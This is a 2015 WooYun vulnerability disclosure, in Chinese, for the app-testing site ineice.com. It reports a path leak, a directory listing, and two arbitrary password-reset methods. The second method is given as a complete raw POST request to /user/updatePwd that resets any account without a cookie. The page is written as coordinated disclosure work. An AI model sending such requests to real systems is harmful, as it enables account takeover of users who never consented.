当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123509

漏洞标题:爱内测任意用户密码重置/绝对路径泄露/目录遍历

相关厂商:爱内测

漏洞作者: 上岸的鱼

提交时间:2015-07-05 16:40

修复时间:2015-08-23 17:22

公开时间:2015-08-23 17:22

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-05: 细节已通知厂商并且等待厂商处理中
2015-07-09: 厂商已经确认,细节仅向厂商公开
2015-07-19: 细节向核心白帽子及相关领域专家公开
2015-07-29: 细节向普通白帽子公开
2015-08-08: 细节向实习白帽子公开
2015-08-23: 细节向公众公开

简要描述:

逻辑设计不严谨,可重置任意用户的密码
看官网是cncert的合作单位

详细说明:

爱内测:http://www.ineice.com/
1、绝对路径泄露
上传app后,会返回上传后apk存储的绝对路径,并且会返回一个子域名回来,这个子域名存在目录遍历漏洞:

1.jpg


2、目录遍历:http://fs.ineice.com/detect/icon/

2.jpg


这又牵扯出另一个问题,通过组合访问返回绝对路径信息,可直接下载apk:

3.jpg


这个apk后面的目录名可通过第2点中的目录遍历漏洞获取到,文件名是时间戳+3位随机数,时间戳可通过目录遍历获取到的目录名前面的时间获取到(好像有个时间差,在20秒左右),3位随机数就爆破都可以了,所以要想下载的话,还是很简单的,只不过...然并卵
3、任意用户密码重置 --- 方法1
在页面修改密码的地方:

4.jpg


当前密码任意填,然后输入新密码,在提交的时候使用burpsuite拦截请求,并且中断应答,然后将第一次应答回来的result值改为1(当前密码校验错误返回的是0),拦截请求,将要修改密码的用户改为要修改的用户名,过程如图:

5.jpg


6.jpg


7.jpg


4、任意用户密码重置 --- 方法2
其实还可以更简单点,直接发送请求:

POST /user/updatePwd HTTP/1.1
Host: www.ineice.com
Connection: keep-alive
Content-Length: 37
Accept: */*
Origin: http://www.ineice.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.ineice.com/user/changePwd
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
email=[账号]&pwd=[新密码]


连cookie都不用,就重置成功了

8.png


漏洞证明:

看详细说明:

8.png

修复方案:

逻辑还可以再严谨点

版权声明:转载请注明来源 上岸的鱼@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-07-09 17:20

厂商回复:

最新状态:

暂无